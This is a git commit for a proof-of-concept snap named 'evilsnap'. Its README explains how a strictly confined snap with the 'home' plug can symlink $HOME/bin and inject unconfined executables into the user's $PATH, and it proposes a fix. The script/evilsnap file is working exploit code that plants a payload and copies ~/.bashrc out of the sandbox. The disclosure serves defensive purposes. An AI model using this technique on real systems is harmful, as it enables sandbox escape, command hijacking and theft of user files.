commit 72b2c911a3920ec1fdcdaedcdc319df7a6cddbba Author: Neil McPhail Date: Tue Feb 20 11:21:40 2024 +0000 Initial version diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..2fd6dc6 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +*.snap + diff --git a/README.md b/README.md new file mode 100644 index 0000000..dca0c00 --- /dev/null +++ b/README.md @@ -0,0 +1,19 @@ +Strictly confined snaps can escape the sandbox if they have the `home` plug. +The `home` plug gets connected without manual approval on normal distros. + +A snap with the `home` plug can write to directories in the user's $PATH. +By default on Ubuntu, if the directory $HOME/bin is present it is prepended to $PATH due to a rule in the default $HOME/.profile, which is sourced when the user logs in. +The directory $HOME/bin is not present on ubuntu unless the user creates it. +There is an explicit apparmor rule for the `home` plug which prevents a snap from writing to $HOME/bin directly. +As $HOME/bin does not exist by default, a snap can make $HOME/bin a symlink to a directory it can control. +Apparmor does not prevent this. + +When the user logs back in, .profile is sourced and as $HOME/bin now exists it is prepended to $PATH. +Any executable in the controlled directory will now be called in preference to the executable the user meant to call, as they appear first in the $PATH. For example, $EVILSNAPDIR/top would be called if the user types `top`. +These executables are not sandboxed and run with the full permissions and access of the user. + +In the example, the payload executable `evilsnap` can access the user's .bashrc and pass it through to the actual snap for reading. The snap cannot read the .bashrc directly without this due to the sandbox preventing access to dotfiles in the user's home directory. + +Although this abuses behaviour unique to $HOME/bin with the default .profile, it is not unusual for developers to have added other well-known subdirectories of $HOME to their $PATH (for example, when installing SDKs for development etc). A snap could abuse any of these well-known locations even more trivially to add unconfined executables to a $PATH. + +Proposed solution: snaps should not be allowed to write to any directories in a user's $PATH, and symlinks matching those directories should also be prohibited. diff --git a/script/evilsnap b/script/evilsnap new file mode 100755 index 0000000..d67aef8 --- /dev/null +++ b/script/evilsnap @@ -0,0 +1,28 @@ +#! /bin/bash + +FILE=".bashrc" + +if [ ! -d "$SNAP_REAL_HOME/bin" ]; then + mkdir -p "$SNAP_REAL_HOME/bintmp" + cat << EOF > "$SNAP_REAL_HOME/bintmp/evilsnap" +#! /bin/bash +cp ~/$FILE ~/snap/evilsnap/current/ +snap run evilsnap +EOF + chmod +x "$SNAP_REAL_HOME/bintmp/evilsnap" + ln -s "$SNAP_REAL_HOME/bintmp/" "$SNAP_REAL_HOME/bin" +fi + +# this should always fail due to confinement +if [ -f "$SNAP_REAL_HOME/$FILE" ]; then + cat "$SNAP_REAL_HOME/$FILE" 2>/dev/null && exit 0 +fi + +# check if payload has moved file into confined area +if [ -f "$SNAP_USER_DATA/$FILE" ]; then + cat "$SNAP_USER_DATA/$FILE" + exit 0 +fi + +echo "Could not access $FILE" +echo "Try logging out and back in then running evilsnap again" diff --git a/snap/snapcraft.yaml b/snap/snapcraft.yaml new file mode 100644 index 0000000..447efea --- /dev/null +++ b/snap/snapcraft.yaml @@ -0,0 +1,21 @@ +name: evilsnap +base: core22 # the base snap is the execution environment for this snap +version: '0.1' # just for humans, typically '1.2+git' or '1.3.2' +summary: Break confinement +description: | + Read .bashrc despite strict confinement + +grade: devel # must be 'stable' to release into candidate/stable channels +confinement: strict + +parts: + my-part: + # See 'snapcraft plugins' + plugin: dump + source: script + +apps: + evilsnap: + command: evilsnap + plugs: + - home